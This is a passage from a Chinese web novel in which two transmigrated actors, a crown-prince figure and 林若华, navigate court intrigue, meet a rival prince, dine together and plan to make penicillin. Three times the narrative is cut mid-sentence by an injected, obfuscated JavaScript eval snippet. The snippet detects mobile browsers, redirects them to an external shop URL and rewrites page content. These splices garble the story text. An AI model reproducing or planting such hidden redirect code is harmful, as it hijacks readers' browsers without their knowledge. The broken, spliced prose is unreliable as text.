林若华想着这个封号,再想到四皇子与其母家的所作所为,只觉得无比讽刺。 只要四皇子及其母家不做出公然谋反这类动摇国本的大事,老皇帝是绝不会轻易动他们的。 更何况,四皇子和钱家行事极为精明,欺压的多是无权无势的平民百姓,像这次害死她这个官家小姐的丫鬟,都属少见。 萧长离意味深长地笑了笑:“不只是磨刀石,父皇也是在利用我,牵制萧玄鹤,玩他的帝王制衡之术罢了。至于钱家,那可是父皇的钱袋子,每年缴纳的税赋就是一笔巨款,他们还时常以各种名义捐献。听说,这次父皇寿辰,他们专门召集不少能工巧匠,耗巨资打造了一座金山准备进献。” 金山?这真是大手笔啊,林若华恍然道:“所以,萧玄鹤继位后,便以密谋造反的理由,再收集钱家这些年来欺男霸女、逼死人命的罪证,顺应民意处死了作恶多端的四皇子,又将盘根错节的钱家抄家流放。他们积累的巨额财富也理所当然充入国库,缓解了财政压力。而萧玄鹤,也因此举赢得了百姓的歌颂。于公于私,他都不能再容忍这样一个拥有巨富且行事嚣张的兄弟威胁他的帝位。” 这狗血古偶剧的逻辑竟然还是通的,林若华赞叹道。 “其实,无论最终是我还是萧玄鹤继位,钱家的下场都早已注定。”萧长离淡淡道,“拥有足以威胁皇权的财富,却无与之匹配的地位和兵权,便是怀璧其罪。这就是帝王心术。” 林若华明白,这分明是把钱家和四皇子当作肥猪,等养得膘肥体壮,就可名正言顺地宰杀分肉。 她又忍不住追问:“可是,长离,如果你真的打败了萧玄鹤,成功上位了呢?皇帝他又会怎么样?” 萧长离轻笑,眼底却毫无笑意:“父皇虽然更属意萧玄鹤,为他铺路,但如果最后是我胜出,他也不会如何。我和萧玄鹤,无论谁坐上那个位置,对他来说都是一样的。毕竟,我也是他的儿子,身上流着萧氏皇族的血。只要不是四皇子那个废物……”他眼中闪过一丝讥讽,“否则父皇辛苦打下的江山,就落在了商人的傀儡手中,那才真是滑天下之大稽。” 林若华联想到四皇子及其党羽的所作所为,想起那个惨死的丫鬟,不禁叹息:“皇上现在不会动四皇子和他母家,不知道又会有多少无辜的人受害。” 萧长离低声道:“放心,快了。” 的确,老皇帝,活不了几年了。 又商议了一番皇帝寿宴的准备,见时候不早,林若华便与萧长离一同动身离开雅间,凌北与苏南无声地跟上。 四人一同下楼,谁知道刚下楼梯,就在转角处,林若华竟然看到了男主萧玄鹤和萧玄鹤未来的原配妻子也来买东西,林若华与萧玄鹤四目相对,一时间场面十分尴尬。 18. 醋意 准确地说,是林若华一个人很尴尬。 她下意识地避开了萧玄鹤的视线,将目光移向一旁的珠宝玉石。 随即反应过来,明明是萧玄鹤对不起林若华,她到底在心虚什么? 于是她又转回了眼眸,理直气壮地迎上萧玄鹤的眼睛。 今日的萧玄鹤依旧穿着他最钟爱的青衣,衣襟处用银线绣着的竹叶,君子如竹。 与萧长离贵气非凡的公子打扮不同,萧玄鹤浑身上下透着一股清隽的书卷气,比起皇子,倒更不如说一位寒窗苦读的书生。 他本人也确实堪称谦谦君子,登基后亦不失为一位明君,勤于政事,不兴土木,从未行过劳民伤财之举。 可偏偏,唯一与他克己复礼的外表不一样的,就是刻在骨子里的薄情。 直白地说,就是有些渣男,毕竟帝王无情,被他伤过的女子不在少数。 首当其冲的就是林若华,被伤得最深,利用得最彻底,不仅赔了一颗真心,还搭上了一条无辜的性命。 此时,萧玄鹤身侧站着一位身穿月白色衣裙的女子,长相清秀,仪表端庄,那是他未来的原配妻子胡玉乔。 二人的身后跟着四个侍从,每个侍从手中都捧着一个精致的锦盒,似乎已经挑选好了物品,正准备离开。 出乎林若华意料的是,萧玄鹤的反应极为平静,他的目光只是淡淡地从林若华的脸上闪过,并未做任何停留,而是直接落在了萧长离的身上,眼中藏着深深的忌惮。 倒是一旁的胡玉乔,目光扫过林若华时,脸上流露出明显的惊讶之色,不过她很快便恢复如常。 一行人停下脚步后,是萧长离率先开口打破了微妙的气氛。 “哟,三弟,真巧啊,你今日怎么有雅兴来这珍宝楼啊?” 阴阳怪气的腔调,眉毛也微微上挑,配上似笑非笑的表情,是那位行事乖张的疯批太子没错了。 林若华悄悄瞥了眼身侧的萧长离,只见他瞬间换了一副面孔,与方才在雅间内温柔的模样判若两人,这收放自如的演技果然厉害。 林若华在心里为萧长离点了个赞。 萧玄鹤和胡玉乔闻言,一同上前,规规矩矩地行礼:“见过太子殿下。” 萧长离丝毫没有回礼的意思,只随意摆了摆手,然后就饶有兴趣地在萧玄鹤与胡玉乔二人之间打量。 他的目光最终落在胡玉乔手中的木盒上,怪声怪气地说道:“没想到日理万机的三弟,也有此等闲情逸致,亲自来陪未婚妻来挑选礼物,真是体贴啊。” 胡玉乔被他这么一说,脸上泛起微微红晕,侧头看了萧玄鹤一眼。 萧玄鹤却依旧神色如常,仿佛没听出萧长离话中的讥讽,语气平静道:“太子殿下说笑了,不过是寻常走动。殿下若是无事,臣弟与玉乔便先告退了” “诶,等一下。”萧长离唇角勾起,露出一个愉悦的诡笑,毫不客气地说道,“这珍宝楼的规矩,什么时候变成先来后到了?自然是长幼有序,我们先走。” 说罢,也不等对方作何反应,萧长离已极为自然地握住林若华的手,大步从萧玄鹤身前走过,态度嚣张至极。 宽大的袖口刚好遮住了两人相握的手,只有林若华能清楚地感觉到他掌心传来的温暖。 林若华下意识地抬眼看向萧长离的侧脸,她眨了眨眼,压下心中异样的感觉,终究还是没有挣脱。 两人就这样牵着手,在众目睽睽之下,坦然自若地走出了珍宝楼。 苏南与凌北紧随其后。 因此,也就没有人看见,身后萧玄鹤瞬间阴沉的脸色,以及他紧握的双拳。 胡玉乔察觉出不对,轻轻扯了扯萧玄鹤的衣袖,他这才缓缓松开手,深深地看了一眼萧长离与林若华离去的方向,最终脸上归于平静,又恢复成了往日的谦谦君子。 林若华并未返回林府,而是随萧长离走进不远处的一家酒楼。 掌柜显然认得他们,立即迎上前,恭敬地将他们引至二楼一处临窗的精致雅间。 房门合上,又只剩二人独处。 直到这时,林若华才后知后觉地意识到,他们的手从珍宝楼出来到现在,竟然还牵在一起。 她轻轻动了动手指,想要不着痕迹地抽回来,萧长离也仿佛心有灵犀,适时地松开了手。 萧长离走到窗边的小方桌前坐下,又变回了林若华所熟悉的温和模样,好像刚才在珍宝楼里那个锋芒毕露的太子只是她的错觉。 二人相对而坐,窗外是熙熙攘攘的街市,隐约有人声传来。 林若华单手托腮,眼中满是困惑,向萧长离问道:“虽然萧玄鹤就是这种沉稳的性格,可他现在的反应也太奇怪了,他可是亲眼看着我们两个一起掉下万丈悬崖的。” 萧长离起身拎起桌上的茶壶,先为林若华面前的空杯斟满茶水,而后才为自己倒了一杯。 他落座后,不紧不慢地抿了口茶,缓缓开口道:“不错,当初他看见我毫发无伤地出现在朝堂上时,眼中的震惊与难以置信,差点就没掩饰住。他足够聪明,自然能猜到我背后有能人异士相助,也有能起死回生的灵丹妙药。” 萧长离顿了顿,放下茶杯,意味深长地补充道:“毕竟,在这争权夺利的棋局上,没有足够的能力,谁又敢轻易上桌对弈呢?我们的死而复生,于他而言,或许是意料之外,但仔细想来,未必不在情理之中。他此刻的平静,不过是权衡利弊后的伪装,是不敢在明面上撕破脸的隐忍罢了。” 林若华双手捧着温热的茶杯,抿了一口,眉头却皱得更紧,还是摇了摇头,道:“还是不对,先不说你,他难道就不好奇我为什么也好好的吗?而且我还摇身一变,成了即将与他兄长大婚的太子妃,明眼人一看就知道有猫腻,可他竟然从没来找过我,连一封信都没有。” 这不符合常理,也不是萧玄鹤的作风。 萧长离嘴边扬起温柔的笑意,耐心解释道:“正因他是唯一的知情人,知晓坠崖内情,才更不能轻举妄动。他若是当众提出质疑,询问你为何没死,又为何成了太子妃,岂不是不打自招,承认自己与当初的刺杀案有关。毕竟,现在朝中上下,不知多少双眼睛在盯着他,也在盯着你,等着抓错处。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16511322|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 一想到有无数双眼睛在暗中窥视着自己的一举一动,林若华顿时觉得浑身不自在,她这些日子里深居简出,并未发现可疑之人,这只能说明…… “林府里有萧玄鹤的眼线。”她放下茶杯,声音笃定地说道。 怪不得,怪不得。 怪不得林若华过去能多次瞒过家人,偷偷溜出府去,在不惊动其他仆人的情况下与萧玄鹤见面。 “不如猜猜,萧玄鹤都收买了哪些人?”萧长离眼中带着两分戏谑,脸上的笑意更浓。 林若华看着他这副调侃的模样,有些无奈道:“除了门房,还有从前的侍女红豆。” “哦?”萧长离故意挑了挑眉,道,“何以见得?” 林若华根据现有的剧情分析道:“首先,是门房,只有把守门的人睁只眼闭只眼,林若华才能多次顺利进出,而红豆……” 紧接着,林若华轻叹一声,目光投向窗外热闹的街市:“林若华的一切行为,从来都瞒不过这个贴身侍女。那些书信与调理身子的汤药,想必都是经过她的手传递,并且以林若华从前怯懦的性子,能与萧玄鹤暗中往来这么久,怕是少不了红豆的怂恿。” “林若华。” 萧长离忽然唤她的全名。 林若华回过头,看向萧长离。 只见萧长离温柔的笑容中多了几分难以言喻的深意,那双丹凤眼此刻更是亮得惊人。 萧长离目光灼灼地盯着林若华的脸,缓缓道:“你不就是林若华吗?为何总将林若华说得像是毫无关联的第三人?” 她猛然反应过来,是了,虽然自己是以林若华的名义活下去,并且是林若华的扮演者,但是她始终认为,自己和剧中的林若华不能算是同一个人,每个角色都拥有自己独立的灵魂。 她既是林若华。 她也不是林若华。 在这一点上,她始终与萧长离不同。 她拿起茶杯,饮了口已经微凉的茶水,又将杯子轻轻放回桌上,从容自若地迎上萧长离的目光,一本正经道:“早知道会穿越,我就去反串老皇帝了,要是你那个时候见了我,会不会也叫我一声父皇?” 她故意板起脸,模仿着帝王威严的神态。 萧长离一怔,随即爆发出爽朗的笑声,林若华也忍不住跟着笑了起来。 二人相视而笑,欢快的笑声穿过房门,连门外的苏南和凌北都不禁侧目。 凌北使劲向苏南使眼色,似在询问里头发生了何事,太子殿下竟会如此开怀,苏南熟视无睹,转回头继续面无表情地履行护卫的职责。 等笑声平复后,萧长离才摇着头,眼中还有未尽的笑意,道:“恐怕不行,形象实在不合适,哪有你这么年轻漂亮的父皇?” 林若华也收敛了笑意,将话题拉回,正色道:“不是说好了吗?名字不过是个代号,我始终是你认识的那个人,所以,你刚才到底在担心什么?” 萧长离脸上的笑容瞬间一滞,眼底闪过一丝复杂的情绪。 他张了张嘴,正要回答,敲门声适时响起,打断了两人的对话。 19. 想法 年轻的店小二端着菜盘走进雅间,躬身将一道道热气腾腾的菜肴摆在小方桌上。 凌北紧随其后踏入房中,行至萧长离身侧,压低了声音禀报道:“殿下,所有菜品均已仔细查验,并无异常。” 萧长离的目光始终落在对面的林若华身上,闻言,连眼皮都没抬一下,只是微不可察地轻哼一声,又冷冷地瞥了他一眼。 凌北:“?” 他顿时心里咯噔一下,脑子里飞快地回想着今日的每一个细节,实在想不明白自己哪里做错了。 察觉到太子殿下的不悦,并且也完全没有理会自己的意思,凌北垂下头,不敢再多言,只是默默后退几步,随着布完菜的小二一同退出了雅间,还轻轻带上了房门。 站在走廊上,凌北摸了摸鼻子,转头看向守在门口的苏南,用眼神询问自己是不是做错了什么? 谁知苏南目不斜视,全然不理会他投来的求助目光。 凌北百思不得其解,只能独自在心里默默流泪。 而林若华正聚精会神地盯着桌上的菜,对这段小插曲浑然不觉。 桌上摆了糖醋排骨、糖醋鱼、鱼香肉丝、宫保鸡丁,以及一大碗清爽的黄瓜皮蛋汤,色泽鲜亮,香气扑鼻。 林若华看着满桌色香味俱全的食物,眨了眨眼睛,唇角不自觉地上扬,露出惊喜的神情,她望向萧长离,好奇地问道:“你怎么知道我喜欢吃这些?” 一样两样可以说是巧合,可桌上的菜全是林若华爱吃的。 萧长离脸上浮现出怀念的神色,眼神也变得柔和,轻声说道:“很久以前,在片场看你吃盒饭的时候,就注意到你总是先把这几样挑出来吃掉。” 对于萧长离来说,那的确是很久以前的事了。 林若华心中一暖,语气中也带上了几分怀念:“在剧组时,别的不说,伙食还是挺好的。来到这里以后,发现吃再多的山珍海味,都比不上家乡的味道。” 而且,没想到对方连这样小的细节都记在了心里。 林若华站起身,拿着小木桶中的勺子,盛了满满一碗米饭,递到萧长离面前。 萧长离极其自然地伸手接过,两人相视一笑。 方才萧长离替林若华细心斟茶,此刻林若华便为萧长离亲手盛饭,彼此间拥有着无需言说的默契。 既然只有他们两个人,也就没有太多的拘束,两人边吃边聊。 刚吃一口,她像是想起了什么,朝紧闭的房门望了望,关心道:“苏南和凌北他们吃了吗?在外面站了大半天,怕是早就饿得前胸贴后背了吧?” 萧长离微微一笑,给她夹了一块糖醋排骨:“放心,早就让人给他们准备了饭菜。就在隔壁房间,不会亏待他们的。” 林若华这才安心,转回头,目光落在萧长离脸上:“那你呢?光顾着点我爱吃的,也不点些你自己爱吃的,我都不知道你爱吃什么。” 萧长离不以为意地笑了笑,神色淡然道:“我吗?什么都吃,从不挑剔,一直以来都是如此,没什么特别的喜好。” 他说得随意,仿佛这只是一件微不足道的小事。 林若华仔细回想了一下,前世今生加在一起,她与萧长离认识还不到三个月,似乎确实没有发现萧长离特别喜欢什么。 他总是这样,谁都温和有礼,爱迁就着别人。 林若华也说不清自己为什么有些失落,她夹起碗里裹满酱汁的糖醋排骨送入口中,眼睛顿时亮了起来,是熟悉的味道。 “这个好好吃!没想到在这里还能吃到这么原汁原味的糖醋排骨,道具老师该加鸡腿。”林若华赞道。 萧长离笑着摇头,拎起茶壶,为林若华杯中续上新茶,又给自己添了杯,这才慢条斯理地说:“你给道具老师加鸡腿,不如好好犒劳一下眼前人。这糖醋的口味,在这个世界本是没有的,是我根据记忆描述,吩咐厨子反复试做了许多次,才做出的这个味道。” 林若华睁大了眼睛,筷子都悬在了半空中:“什么时候的事?” 随即想起酒楼掌柜对萧长离恭敬的态度,一个念头闪过,恍然道:“难道你是这间酒楼的老板?” “自然。”萧长离颔首,缓缓道,“出门在外,总要安全起见。想取太子性命的人不在少数,自己的地方待着才放心。不止这间酒楼,方才我们去过的珍宝楼,也是我的产业。” 他嘴角勾起三分意味深长的笑意,挑眉道:“所以,我不但知道萧玄鹤他们买了什么东西,还顺势给他们多抬了七成的价。” 林若华闻言,先是一笑,接着眼中闪过兴奋的光芒,想起珍宝楼里那些琳琅满目的奇珍异宝,一个穿越者经典的套路浮现在脑海里。 她迫不及待地问道:“那香皂、玻璃,还有香水,你研究出来了吗?” 就好像已经看到自己挤下钱家,在古代当上女首富的美好未来。 萧长离看着林若华那财迷心窍的模样,无奈地扶额,轻轻摇头,打破了她的幻想:“恐怕要让你失望了,你想到的这三样,此地本就有,只是产量不高,并且你可知道,这个世界不但早有玉米、土豆、辣椒,甚至还有榴莲。” 林若华愣住了,目光呆滞地看着鱼香肉丝里的红色辣椒,喃喃道:“道具老师扣鸡腿……” 她仍不死心,追问道:“那炸药与水泥呢?这些总该没有吧?” 萧长离这次倒是点了点头:“这两样确实尚未出现,我已命可靠之人暗中循着这个方向研制,只是进展缓慢,你可知道具体的制作细节?” 林若华听后有些懊恼地扒了一大口饭,鼓起腮帮子。 制作水泥的方法她是真不知道,炸药具体的配比也记不清了。 突然,她像是想起了什么极其重要的事情,急忙将口中的饭菜咽下,甚至呛到了,咳了两声,萧长离连忙为她递上茶水。 林若华猛灌了一口,待平复后,才兴奋地说:“那青霉素呢?这个有没有?我以前是医学生,我知道怎么提取青霉素。” 虽然刚毕业就转行了,但青霉素的制作原理和大致步骤她还记得。 萧长离闻言,神情变得认真起来,放下了手中的筷子:“这个确实没有,如果真的可以制作出来,那真是利国利民的好事。” 林若华此次倒未想着牟利,毕竟是救命的药品,赞同道:“如果能成功,不知能挽救多少因伤口感染而无辜丧命的百姓。” 她不禁心生感慨,前世因为实习工资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16524738|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太低而被迫转行,差点让她饿死的医学专业,在换了一个世界以后,竟变得如此有用。 两人吃过晚饭,林若华又想起了之前被人打断的话题,她抬眼看向萧长离,问道:“刚才你似乎有话想说,被他们打断了,你想说什么?” “没什么要紧事,不提也罢。”萧长离抿了一口茶,神色如常。 林若华见他不愿多谈,也不追问,每个人都有自己的秘密。 她转而提起在珍宝楼遇到的萧玄鹤和胡玉乔,不禁皱起眉头,语气带着疑惑道:“你之前说胡玉乔是萧玄鹤的未婚妻,可我明明记得,他不是应该等到明年才会与胡家正式议亲吗?难道是因为我们的缘故,影响了时间线?” 按她所知的剧本,萧玄鹤本该与女主相遇后一同回京,经历一番波折,才与胡玉乔定亲,继而展开一段虐恋情深的剧情。 萧长离放下茶杯,缓缓道:“不错,确实提前了,应是我近来在朝堂上对他的势力打压得过狠了些。原本态度暧昧的镇国公府,似乎也更倾向于保持中立。他失了这一大助力,自然心急,不得不提前寻找一个有力的岳家来稳固地位。” 以萧长离的心机手段,加上对剧情的先知先觉,直接把萧玄鹤及其党羽逼得步步维艰。 对方此刻定然是焦头烂额,想破头也弄不明白,为何自己苦心经营的暗棋,会在短时间内被接连铲除。 林若华嘴角一抽,表情变得有些古怪:“胡玉乔可不是什么好人啊。” 这位胡家小姐,在剧中里是个手段狠厉的角色,尚在闺阁时,就以各种手段整治过不少丫鬟妾室,甚至还设计害死过争宠的弟弟妹妹。 手上沾了血,非但没漏半点风声,反而博得个端庄贤淑的美名。 在萧玄鹤的后宫里,她简直是杀疯了,连女主都差点死在她的手上。 如果不是熟知剧本,看胡玉乔平日那副落落大方的模样,根本难以发现她的真面目。 萧长离闻言一笑:“萧玄鹤何等精明,他未必不知这位胡小姐并非纯良之辈,奈何她父亲恰好是吏部尚书,不过是另一位汤贵妃罢了。” 林若华听后,忧心道:“如此一来,我们改变的细节越多,原本的剧情变化就越大,我们预知的优势就越小。你身处朝堂之中,万事都要小心。” 萧长离看着她为自己担忧的模样,眉眼柔和下来,露出温柔的笑意:“不必多虑,你不是说过吗?命运就掌握在我们自己手中,我们定能化险为夷,平平安安,长命百岁。” 林若华迎上萧长离认真的目光,也笑着点头,眼中的忧虑渐渐散去。 眼见天色已晚,林若华起身与萧长离道别,萧长离将她送至酒楼门口,看着她与苏南一同登上了等候已久的马车。 临走时,她还不忘回头掀开车窗帘,对萧长离会心一笑,那笑容在街市逐渐亮起的灯火中格外明媚。 萧长离并未立刻返回皇宫,而是重新走上二楼,回到方才他们共处的雅间,小二已打扫干净。 他没有点灯,独自一人坐在林若华坐过的位置上,侧身倚在二楼的窗边,右手反复地摩挲着左手拇指上那枚冰冷的翡翠扳指,望着林若华渐行渐远的马车,直到它彻底消失在长街中。 20. 尝试 第二日一早,林若华便收到了萧长离遣人送来的一个大铁箱。 打开箱子的那一刻,林若华不由得瞪大了双眼。 这铁箱简直是个大型收纳盒,里面不只有烧杯、三角杯、试管、玻璃棒、培养皿等实验室化学玻璃器皿,甚至还有乳胶管以及乳胶手套,加起来足足有九十件器材,整整齐齐摆放了四层。 她拿起其中一支玻璃棒,光滑透亮、工艺精湛,丝毫不逊于她穿越前在实验室所用的。 这效率实在高得惊人,让林若华不禁怀疑,萧长离是不是早就暗中命人准备好了这些,只等一个合适的时机送来。 她轻轻将玻璃棒放回原处,将目光移向一同送来的两个榴莲。 竟然真的是榴莲啊。 两个硕大的榴莲,金黄的外壳已经裂开,散发出特有的气味。 林若华先将铁箱关上,小心抱进房中安置妥当,随后对苏南笑道:“苏南,快来,这是太子殿下送的果子。” 又转身朝正在院中侍弄花草的杜鹃与月季招手:“杜鹃、月季,你们也一起来尝尝。” 杜鹃和月季闻言,俱是一惊,颔首低眉,不敢上前,连忙道:“奴婢不敢,不合规矩。” 可见苏南已得了示意,坦然落座,又经林若华再三含笑相邀:“今日这里没有主仆,只有共享美味之人,再说,我一个人也吃不完。” 二人相视一眼,终究抵不过好奇,榴莲乃是贡品,她们往日只在随侍皇后娘娘时远远见过,不曾有品尝的机会。 杜鹃手脚麻利地去厨房取来了小刀与碗碟,月季则小心翼翼地将榴莲剖开,动作轻柔地将金黄软糯的果肉一一取出,整齐摆放在碟中。 林若华拿起竹筷,夹起一块最为饱满的果肉,轻咬一口,不由点头赞道:“好吃,果然一模一样。” 一旁的苏南眉头微蹙,显然是极不习惯这浓烈的气味,见林若华吃得香甜,才勉强尝了一小口,香甜的味道在口中弥漫开来,眉间渐渐舒展。 杜鹃与月季见主子及苏南都已用过,方才小心动筷。 果肉入口,二人脸上瞬间掩不住惊喜的神色,此刻她们才显露出属于少女的鲜活,不似平日里如木偶般恭敬呆板。 月季见林若华心情好,壮着胆子说道:“这果子闻着怪,吃着倒是香甜。小姐,太子殿下待您真是用心。榴莲珍贵无比,奴婢往年只在皇后娘娘宫中见过,听闻是今年的贡品,统共不足十个呢。” 杜鹃轻声接道:“还有这套琉璃盏,晶莹剔透,奴婢从未见过成色如此之好的,真是价值连城,殿下对小姐真是看重。” 林若华知道杜鹃口中的琉璃盏便是那套玻璃器皿,果如萧长离所言,这个世界已有此物,只是工艺复杂,产量稀少,故而珍贵。至于榴莲的来历…… 她眨了眨眼,好奇地看向月季,问道:“这榴莲是哪里进贡的?暹罗吗?” 暹罗就是古代对泰国的称呼。 月季认真回想了一下,摇头说道:“回小姐,奴婢不曾听过暹罗此地,我听其他公公说过,榴莲是岭南进贡的。” 林若华闻言,险些被口中果肉哽住,这未免有些离谱了,岭南什么时候能产榴莲了? 但转念一想,算了,毕竟都古偶剧了。 独自摇头失笑,不要在意太多,已经习惯了。 林若华又听她们提到萧长离,她语气平静,却又带着几分自己都未察觉的失落,轻声道:“太子殿下心思缜密,待人接物无不周到。我倒觉得,他并非是特地对我好,而是待谁都是这般体贴罢了。” 杜鹃与月季一听这话,却是真被惊得哽住了,忙不迭放下碗筷,轻拍自己胸口顺气。 苏南也立刻转过头,目光复杂地看向她,似乎想说什么,终究还是咽了回去。 “呀!什么味儿这么臭!” 只听这尖利又带着十足嫌弃的声音,便知是林洛瑶来了。 她领着贴身丫鬟,远远站在院门外,用手帕紧紧捂着口鼻,柳眉倒竖,满面嫌恶,死活不肯再近一步。 林若华慢条斯理地用手帕擦了擦嘴角,淡淡道:“大惊小怪,这是太子殿下送给我的贡果,名叫榴莲,我可不给你。” 林洛瑶尖声叫道:“谁稀罕!光闻这味道就知不是什么好东西,你竟还与下人围坐一起,同盘而食,真是不成体统!” 说话时仍不忘用手帕紧紧捂着口鼻。 她见林若华竟与侍女们围坐石桌,同食这等恶臭之物,越发鄙夷。 而林若华一副毫不在意的模样,林洛瑶越发生气,终究狠狠一跺脚,扭身带着丫鬟快步走了。 林若华看着她离去的背影,心中纳闷:她到底是来干什么的? 吃完榴莲,也该做正事了。 林若华吩咐杜鹃与月季:“你们去厨房和库房看看,寻些蔬菜和水果来,各类都取一些,我另有用处。” 她想了想,又补充道,“还要些上好的面粉和豆沙。” “是,小姐。”二人领命,虽不解其意,但还是立刻转身去了。 林若华又对一旁的苏南低声说道:“苏南,一会儿在院子的东南角,围出一小块地方,不许任何人靠近。” 苏南从她的语气中听出了郑重,心知此事非同小可,点头应下:“放心。” 制作青霉素需要发霉的食物,而且收集的霉菌必须要青色的,研制的整个过程更是容不得半点差错,所以林若华决定,全程亲力亲为。 如此一来,耗时便更长了,林若华知道,这事急不得。 转眼便来到八月十五,这两日林府并不太平。 先是看守侧门的一个门房,突然称家中父母染了急病,需立刻返乡尽孝,匆匆告别而去。 紧接着,叶氏身边那位有些势利的心腹嬷嬷,前日奉叶氏之命上街采买中秋用品,在闹市中被一个小偷偷了钱袋,她一时气急,追赶不休,那贼人慌不择路,竟狗急跳墙,回身捅了她一刀,正中心口,当场就没了气息。 虽然叶氏报了官,但贼人至今未能缉拿归案。 林若华心知肚明,这绝非意外,而是萧长离出手,拔除了萧玄鹤安插在林府里的钉子。 她只是未曾料到,萧玄鹤的手竟能伸得如此之长,连叶氏的陪嫁心腹都能买通,那可是与叶氏一同长大,陪伴了她几十年的人。 如今仔细回想,无论是当初叶氏建议她以面纱遮掩容貌,还是后来同意她学琴,背后恐怕都少不了这位嬷嬷在一旁推波助澜。 正值中秋佳节,叶氏不愿败了林兴业的兴致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16537981|184823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自行处理了后事,又私下多给了嬷嬷的家属一大笔银子,暗自流了两滴眼泪,倒比对着林若华时真切。 这些风波并未过多影响林府明面上过中秋的喜庆气氛。 夜里,隆重的祭月仪式过后,一家之主林兴业亲手拿刀,分切月饼,叶氏、林若华、林洛瑶依次上前,各得一份。 林若华正自顾自嚼着口感硬邦邦的传统月饼。 救命,竟然是五仁的。 忽然,林若华察觉到有两道目光落在自己身上,抬头正对上林兴业与叶氏带着明显期待的眼神。 林若华:“?” 林兴业有些不自然地轻咳一声,试图引起注意。 叶氏脸上立刻挂起愈发慈爱的笑意,柔声开口道:“若华啊,今日佳节,除了这府里分的月饼,你可是还备了什么别致的心意,要呈与爹娘尝尝啊?” 林若华更觉莫名其妙,放下手中月饼:“没有啊。” 又不是寿辰,怎么突然向她讨要礼物。 她又漫不经心地咬了一口月饼。 真难吃啊。 叶氏与林兴业迅速交换了一个眼色,叶氏只得将话挑得更明些,笑容依旧:“是吗?可母亲怎么听闻,你这两日在厨房里忙活,亲手做了些式样新巧的月饼。可是要留待这佳节之时,给爹娘一个惊喜?” 原来是为了这个,林若华恍然大悟,随即面色平静,理所当然地回答道:“那个啊,我确实试着做了些,不过已经都送给太子殿下了。” 说罢,不再看林兴业与叶氏瞬间僵住的脸色,继续低头吃着月饼,心道:以后不要五仁的。 林兴业:“……” 叶氏:“……” 林洛瑶看都没看这边,她早猜到了。 另一边,东宫。 萧长离刚赴完宫中的中秋夜宴。 今年皇上照例赏了各位皇子皇女一盒御膳房特制的月饼。 他将华美的礼盒随手搁置在一旁,眉宇间闪过不易察觉的厌倦。 御膳房做的这些月饼,还真是难吃至极。 回身欲更衣,却见凌北正捧着一只外观普通的食盒等候在一旁。 “何事?”萧长离语气不耐。 “殿下,”凌北躬身,将食盒略略举高,“林小姐一个时辰前遣人送来的,说是多谢殿下前日送的器材和榴莲,这月饼是她的一点心意,望殿下不要嫌弃。” 萧长离闻言,神色顿缓:“呈上来。” 他亲手打开盒盖,只见其中的月饼歪歪扭扭,大小不一,一看便知制作者手法生疏,并不擅长做点心。 他拿起一枚,轻咬一口,唇角不自觉地微微扬起。 月饼馅料是简单的豆沙。 抬眼见凌北仍在一旁,便收敛了笑意,冷声道:“这里没你的事了,退下吧,将御膳房的月饼也拿去,分给众人。” 凌北立刻躬身:“是,殿下。” 他上前捧起那盒不受待见的御膳月饼,退出殿外。 凌北面上虽依旧沉稳,心下却实在困惑不解。 以他看来,林小姐做的这月饼,如何能与御膳房相比? 想起殿下方才瞬间展露的笑意,他忽地想起苏南那日所说的话,心下恍然:这大概就是因为爱吧。 21. 装扮 中秋过后半月,九月初二,便迎来了万寿节,也就是当今天子的寿辰。 白日里,皇宫正殿前百官朝贺,山呼万岁。 夜幕降临,宫中便设下家宴,只邀皇室宗亲与少数重臣及其家眷。 林府门前,林若华早早带着苏南,在此等候。 林兴业与叶氏亦在一旁,他们并无入宫赴宴的资格。 林兴业捋了捋胡子,终是上前一步,压低声音叮嘱:“宫中不比家里,一言一行皆关乎林家颜面,切记谨言慎行,莫要行差踏错。” 叶氏则拉着若华的手,眼中满是关切,一遍遍细细嘱咐:“宴席上莫要多食酒水,仪态须得端庄,若皇上或是哪位娘娘问话,定要思量再三再回话……”絮絮叨叨,做足了慈母的担忧。 至于林洛瑶,自是从始至终,未曾露面。 林若华安静听着,心中并无多少忐忑。 萧长离早已将宫中礼仪、宴席流程,甚至可能遇见的人都整理成册。 她背得滚瓜烂熟,连杜鹃和月季检查后都点头称许,表示小姐已万无一失。 其实林若华也明白,她这位准太子妃在宴会上无须多言,只要仪态端方,做个安安静静的背景板就是。 就在此时,马蹄声传来,仍是往日里接她的那辆马车。 只是此番驾车之人戴着斗笠,帽檐遮去了大半容貌,然其高大的身形让林若华只一眼便认出,那是凌北。 她顿时了然,面上却不动声色。 与林兴业、叶氏告别后,林若华一手提起裙摆,一手小心掀开车帘一角。 